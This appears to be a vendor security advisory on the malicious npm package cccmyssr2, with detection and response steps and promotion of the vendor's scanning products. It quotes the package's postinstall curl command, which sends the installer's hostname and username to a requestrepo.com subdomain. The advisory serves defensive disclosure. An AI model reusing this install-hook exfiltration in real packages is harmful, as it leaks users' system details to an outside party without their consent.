cccmyssr2npm
Malicious code in cccmyssr2 (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
On npm install, the package's postinstall.js executes curl "http://r1x55270.requestrepo.com/pre?h=$(hostname)&u=$(whoami)", transmitting the installer's hostname and username over plain HTTP to an attacker-controlled requestrepo.com subdomain (a known DNS/HTTP exfiltration canary service). The package otherwise has no real functionality: index.js is a trivial 3-line date stub, package.json carries placeholder metadata ("A harmless utility package", empty author). The lifecycle hook fires automatically during install without consent, leaking host identifiers to a third party. This is the standard install-time reconnaissance/exfiltration shape.

Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for cccmyssr2 (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging cccmyssr2 across your stack and pipelines.
If you installed it — respond
cccmyssr2 is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If cccmyssr2 was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks cccmyssr2 before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
